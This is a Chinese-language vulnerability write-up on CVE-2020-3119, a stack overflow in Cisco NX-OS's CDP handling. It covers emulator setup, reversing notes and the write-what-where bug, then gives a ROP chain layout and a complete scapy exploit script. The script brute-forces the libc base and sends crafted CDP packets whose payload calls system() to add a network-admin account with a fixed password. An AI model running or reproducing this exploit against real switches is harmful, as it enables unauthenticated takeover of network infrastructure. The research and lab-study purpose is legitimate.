Cisco CDP cve-2020-3119

配置

使用GNS3可以复现漏洞;使用EVE也可以,一个定制化的Linux,提供一个仿真环境,我当时两个方法都测试了,GNS3有点小坑,最后在EVE上测试通过的。

配置的流程其实都一样,进入console启动交换机。

1
2
dir
boot nxos.9.3.2.bin

设置密码 Root1234

配置nexus交换机。
参考这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
switch# conf t
Enter configuration commands, one per line. End with CNTL/Z.
switch(config)# interface mgmt0
switch(config-if)# ip address 10.0.2.15/24 <--- NOTE: can use "ip address dhcp" here instead
switch(config-if)in# no shut
switch(config-if)# end
switch# conf t
Enter configuration commands, one per line. End with CNTL/Z.
switch(config)# username vagrant password vagrant role network-admin
switch(config)# username vagrant shell bash
switch(config)# boot nxos bootflash:nxos.7.0.3.I2.2d.bin <--- Note: use correct image name from "dir" command output
switch(config)# copy r s
[########################################] 100%
Copy complete.
switch(config)#

逆向

直接反汇编bin有坑,需要gdbdump了看dump。

-w766

漏洞

-w766

1
*(&a1->levels + counter) = *(&ptr + counter);// write what where

这里可以任意地址写。

利用

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RPATH: b'/isan/lib/convert:/isan/lib:/isanboot/lib'
1
ret_addr + JUNK + arg1

猜两个地址,stack base和 libc base, 以及heap address?

存在栈上的堆地址怎么用呢?ret过去?

1
2
3
4
5
6
7
8
9
10
11
12
payload = [
struct.pack('<I', 0x0),
'A' * 64,
struct.pack('!h', 0xdeadbeef), # saved ebp
struct.pack('!h', libc_base + pop_ret_offset), # ret addr
struct.pack('!h', libc_base + libc_bss_offset), # a1
struct.pack('!h', libc_base + pop_ret_offset),
struct.pack('!h', 0xdeadbeef),
...
struct.pack('!h', libc_base + system_offset),
struct.pack('!h', 0xdeadbeef),
]

只需要猜system所在libc的基地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
junk
saved ebp
ret addr; // pop ret即可
a1
pop ret
junk
pop ret
junk
...
pop ret
junk
system_addr
xxxx
cmd_str_addr

a1只要是一个符合条件的指向data段的指针即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from scapy.contrib import cdp
from scapy.all import Ether, LLC, SNAP, sendp
from time import sleep
import struct


offset_to_cmd = 40 # TODO
libc_bss_offset = 0x001B4EE0 + 0x200 # use for a1
system_offset = 0x0003C790 # system func

pr_offset = 0x00021b07 # pop eax; ret
# pppr_offset_offset = 0x000df5d2 # pop ebp ; pop edi ; pop ebx ; ret
ppr_offset_offset = 0x000f5e5a # pop ebp ; pop ebx ; ret

cmd = '/isan/bin/vsh -c "configure terminal ; username test password qweASD123 role network-admin"'

def gen(libc_base):
payload = ""
payload += struct.pack('>I', 0x0) + 'A' * 64
payload += struct.pack('>I', 0x00001337) + struct.pack('>I', libc_base + pr_offset) # saved ebp + ret addr
payload += struct.pack('>I', libc_base + libc_bss_offset) # a1
if offset_to_cmd % 2 == 1:
payload += (struct.pack('>I', libc_base + pr_offset) + struct.pack('>I', 0x00001337)) * offset_to_cmd
else:
payload += struct.pack('>I', libc_base + ppr_offset_offset) + struct.pack('>I', 0x00001337) * 2
payload += (struct.pack('>I', libc_base + pr_offset) + struct.pack('>I', 0x00001337)) * (offset_to_cmd - 3)
payload += struct.pack('>I', libc_base + system_offset) + struct.pack('>I', 0x00001337)
return payload


def exploit(payload):
# link layer
l2_packet = Ether(dst="01:00:0c:cc:cc:cc")
# Logical-Link Control
l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()
# Cisco Discovery Protocol
cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)
deviceid = cdp.CDPMsgDeviceID(val=cmd)
portid = cdp.CDPMsgPortID(iface=b"ens38")
address = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr="192.168.204.77"))
cap = cdp.CDPMsgCapabilities(cap=1)
power_req = cdp.CDPMsgUnknown19(val=payload)
power_level = cdp.CDPMsgPower(power=16)
cdp_packet = cdp_v2/deviceid/portid/address/cap/power_req/power_level
packet = l2_packet / cdp_packet
sendp(packet)


def main():
assert offset_to_cmd !=0
for libc_base in range(0xf5000000, 0xf5fff000, 0x1000):
try:
print('[*] Exploiting...guess libc on {0}'.format(hex(libc_base)))
payload = gen(libc_base)
exploit(payload)
except Exception as e:
print(e)
sleep(5)


def test():
payload = gen(0xf5dd9000)
exploit(payload)



if __name__ == '__main__':
# main()
test()

reference

CVE-2020-3119 Cisco CDP 协议栈溢出漏洞分析s